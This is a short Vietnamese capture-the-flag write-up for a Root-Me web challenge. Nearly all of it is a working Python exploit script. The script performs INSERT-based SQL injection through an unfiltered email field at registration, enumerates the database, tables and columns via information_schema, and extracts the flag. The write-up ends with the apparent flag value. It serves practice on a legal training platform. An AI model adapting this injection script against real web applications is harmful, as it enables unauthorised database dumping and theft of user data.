Đầu tiên vào trang thì ta thấy chương trình hiện tại không có gì bất thường

Graphical user interface, application, Word

Description automatically generated

Ta sẽ thực hiện kiểm tra trang đăng ký thấy được phần mail chưa được filter

Graphical user interface, application, Word

Description automatically generated

Ta sẽ code để tấn công

import requests

import re

import string

import random

# Get a injected value

def getValue(username):

    data = {'username': "{0}".format(username), 'password': 'pw'}

    request = requests.post('http://challenge01.root-me.org/web-serveur/ch33/?action=login', data=data,

                        headers={'User-Agent': 'Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0'})

    match = re.search("Email : ([^<]+)<br />", request.text)

    if match:

        return match.group(1)

# Get a injected value

def setValue(username, payload):

    data = {'username': "{0}{0}".format(

        username), 'password': 'pw', 'email': payload}

    request = requests.post('http://challenge01.root-me.org/web-serveur/ch33/?action=register', data=data,

                        headers={'User-Agent': 'Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0'})

    if re.search("You can logged in !", request.text):

        return True

    return False

# Get database name

def getDatabaseName(username):

    i = 0

    signal = False

    tmp\_username = ""

    while signal != True:

        tmp\_username = "{0}{1}".format(username, i)

        payload = "'),('{0}','pw', (SELECT database() LIMIT 1)); -- -".format(tmp\_username)

        signal = setValue(tmp\_username, payload)

        i += 1

    return getValue(tmp\_username)

# Get tables

def getTables(username, database):

    i = 0

    signal = False

    tmp\_username = ""

    while signal != True:

        tmp\_username = "{0}{1}".format(username, i)

        payload = "'),('{0}','pw', (SELECT group\_concat(table\_name) FROM information\_schema.columns WHERE table\_schema='{1}' LIMIT 1)); -- -".format(tmp\_username, database)

        signal = setValue(tmp\_username, payload)

        i += 1

    value = getValue(tmp\_username).split(',')

    value = [signal for signal in value if signal]

    value = list(set(value))

    return value

# Get columns

def getColumns(username, database, table):

    i = 0

    signal = False

    tmp\_username = ""

    while signal != True:

        tmp\_username = "{0}{1}".format(username, i)

        payload = "'),('{0}','pw', (SELECT group\_concat(column\_name) FROM information\_schema.columns WHERE table\_schema='{1}' AND table\_name='{2}' LIMIT 0,1)); -- -".format(

            tmp\_username, database, table)

        signal = setValue(tmp\_username, payload)

        i += 1

    value = getValue(tmp\_username).split(',')

    value = [signal for signal in value if signal]

    value = list(set(value))

    return value

# Main

if \_\_name\_\_ == '\_\_main\_\_':

    print("Getting Database name ...")

    database\_name = getDatabaseName(random.choice(string.ascii\_letters))

    if database\_name is not None:

        print("Database: ", database\_name)

    print("Getting Tables ...")

    tables = getTables(random.choice(string.ascii\_letters), database\_name)

    if tables is not None:

        for table in tables:

            print(table)

        for table in tables:

            print("Getting Columns for table", table, "...")

            columns = getColumns(random.choice(

                string.ascii\_letters), database\_name, table)

            for column in columns:

                print(column)

    print("Finding flag ...")

    i = 0

    signal = False

    username = random.choice(string.ascii\_letters)

    tmp\_username = ""

    while signal != True:

        tmp\_username = "{0}{1}".format(username, i)

        payload = "'),('{0}','pw', (SELECT flag FROM flag LIMIT 1)); -- -".format(tmp\_username)

        signal = setValue(tmp\_username, payload)

        i += 1

    print(getValue(tmp\_username))

Thực thi

Text

Description automatically generated

moaZ63rVXUhlQ8tVS7Hw